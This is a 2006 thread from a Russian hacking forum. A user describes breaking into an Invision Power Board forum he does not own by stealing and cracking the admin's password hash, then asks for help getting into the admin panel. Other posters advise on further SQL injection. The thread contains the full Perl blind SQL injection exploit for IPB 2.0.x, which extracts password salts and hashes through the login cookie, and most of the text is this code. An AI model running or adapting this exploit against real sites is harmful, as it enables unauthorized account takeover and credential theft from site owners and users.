Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Не подходит расшифрованный пас к админке IPB. (https://forum.antichat.xyz/showthread.php?t=14052)

ProblemaT 06.02.2006 13:12

Не подходит расшифрованный пас к админке IPB.
 
Сплойтом от сoyla сразу утащил хеш мд5, :)

расшифровал пароль:12345 (странновато).

Пытаюсь зайти в админку.... Засада :mad: .....

Форум мне отвечает, что пароль то я неверный ввёл..:confused:


Кто что может сказать по этой теме? :rolleyes: :




З.Ы. По теме снизу от меня. Модерам... Нельзя же блин так редактировать тему...(темболее уже после того как я написал что она не актуальна) или это прикол такой у вас я хз... Не хрена я не просил помогать, а спросил: "сплойт я неверно исправил или что".... И после того как чел написал что дело в сплойте я застучал ему в асю...Вот... А то что вы написали этож блин как унижение звучит...
Если чо не так сказал извините....

Azazel 06.02.2006 13:47

Темы редактировать надо, потому что из названия темы должно быть понятно о чём речь в топике. И не только автору, а всем кто читает форум. Посмотри как ты назвал этот топик "Чё за борода такая с ipb?" Ты считаешь что понятно о чём речь в топике?
И прочти правила раздела.

По теме: Проверь member id админа.

ProblemaT 06.02.2006 13:55

Цитата:

Сообщение от Azazel
Темы редактировать надо, потому что из названия темы должно быть понятно о чём речь в топике. И не только автору, а всем кто читает форум. Посмотри как ты назвал этот топик "Чё за борода такая с ipb?" Ты считаешь что понятно о чём речь в топике?
И прочти правила раздела.

По теме: Проверь member id админа.

Ну лана всё понял впредь не повторюсь... ;)

Desr0w 06.02.2006 14:02

У меня была тема,что не мог зайти под админом.Пробни зайти через админку
anyhost/forum/admin.php
у меня срабатывало.

ProblemaT 06.02.2006 14:04

Цитата:

Сообщение от Desr0w
У меня была тема,что не мог зайти под админом.Пробни зайти через админку
anyhost/forum/admin.php
у меня срабатывало.

Сверху ведь написанно... Я так и пробывал...

Elekt 06.02.2006 15:43

Скорее всего админ вручную поправил исходники, создал фейковую таблицу паролей в мускуле. Так что ковыряй вручную инъекцией и да поможет тебе интуиция угадать название таблицы.

~en$laved~ 06.02.2006 19:13

было два случая, пароли 4х -символьные - что само по себе бредово, видимо делалось это вручную, очень удивился как админ там из 3х букв чего не написал, так что
думаю Elekt прав.

:Defender 06.02.2006 19:33

А вы никто не думали, что админ пароль сменил?)

ProblemaT 07.02.2006 09:09

Цитата:

Сообщение от :Defender
А вы никто не думали, что админ пароль сменил?)

Ох ты какой умный=) Не думали...
Я сначала другим сплойтом получил админский солёный хеш и захожу на форум под ником админа, еслиб он пасс сменил такое бы хер вышло...

ProblemaT 07.02.2006 09:24

А если переделать сплойт coyla так, чтобы он не тянул первый хеш, а сразу начинал с соли... Наверное далжно сработать...

Я в пёрле не врубаюсь кому не западло переделайте, если такое возможно...

Вот собственно сам сплойт...

Код HTML:

#!/usr/bin/perl

## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team.
## for stealing converge_pass_salt value from ipb database
## on some ipb forums it steals the legacy_password which is the first md5
## hash of the target password.
## vulnerable forum versions : 2.* (<2.0.4)
## tested on version 2.0.2
## * work on mysql 4.0, 4.1 versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## coded by Coyl
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
##  /ipb.pl 127.0.0.1 /fo/ 1
## [~]        SERVER : 127.0.0.1
## [~]          PATH : /fo/
## [~]      MEMBER ID : 1
## [~] VALUE TO STEAL :
## [~] SEARCHING THE EASIEST WAY... [ FAILED ]
## [~] SEARCHING THE SALT [\5][ DONE ]
##
##        SALT : UoU1o
##
## [~] SEARCHING THE PASS HASH [/32][ DONE ]
##
##        PASS HASH : 1ab2bc1f32f231f234313444233d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 3) { &usage; }

$enum=0;
$cookie = 1;
$server    = $ARGV[0];
$path      = $ARGV[1];
$member_id = $ARGV[2];
$prefix = ($ARGV[3])?($ARGV[3]):("ibf_");



$server =~ s!(http:\/\/)!!;

$request  = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~]        SERVER : $server\r\n";
print "[~]          PATH : $path\r\n";
print "[~]      MEMBER ID : $member_id\r\n";
print "[~] VALUE TO STEAL : \r\n";
print "[~] SEARCHING THE EASIEST WAY... [|0]";

        ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$flag=0;
$field=1;
LOOP: while(1)
{
        $pass = ($field)?('converge_pass_hash'):('converge_pass_salt');

        if($field) { if(&found(96,123)==0) { &found(47,58)}}
        if(!$field&&$flag) { &found(33,126) }

        $char = $i;

        if ($char=="0")
                {
                if(length($allchar) >
0){
                        print qq{[ DONE ]
};
                        if (!$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";}
                        else
                        {
                                print (($field)?("\r\n        PASS HASH : "):("\r\n        SALT : "));
                                print $allchar."\r\n\r\n";
                                $allchar='';
                                $enum=0;
                                $s_num=1;
                                $field++;
                                if (!($field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP};
                        }
                }
                else
                {
                        if (!$flag)
                                {
                                print "$back FAILED ]\r\n";
                                print "[~] SEARCHING THE SALT [|0]";
                                $flag=1;
                                $field=0;
                                redo LOOP;
                                }
                        if ($flag)
                                {
                                print "$back FAILED ]\r\n";
                                }
                }
                exit();
                }
        else
                {            $allchar .= chr($char);
                $enum++;
                }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; }

 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }

sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }

sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D";
 $eas="1%2527+OR+%28id%3D";
 $pass_hash1 = ($flag)?($non):($eas);
 $pass_hash2 = "+AND+ascii%28substring%28";
 $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*";
 $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 $socket = IO::Socket::INET->
new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

 printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
 $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3);

 while(<$socket>)
  {
  if (/Set-Cookie: session_id=0;/) {
  return 1; }
  }


 return 0;
 }

sub status()
{
  $status = $n % 5;
        if ($enum<10) {$back="\b\b\b";}
        else {$back="\b\b\b\b"};
  if($status==0){ print "$back\\$enum]"; }
  if($status==1){ print "$back-$enum]"; }
  if($status==2){ print "$back/$enum]"; }
  if($status==3){ print "$back|$enum]"; }
}

sub usage()
 {
 print q(
 Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified
 --------------------------------------------------------------------
 USAGE:
 ~~~~~~
 r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal]

 [server]  - host where IPB installed
 [/folder/] - folder where IPB installed
 [member_id]- user id for brute
 [prefix]  - database prefix \(ibf_ by default\)

 e.g. ipb.pl 127.0.0.1 / 1 ipb_
 --------------------------------------------------------------------
 coded by Coyl. CiaNeeD team.
 --------------------------------------------------------------------
 greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru
 --------------------------------------------------------------------
 );
 exit();
 }



Время: 09:40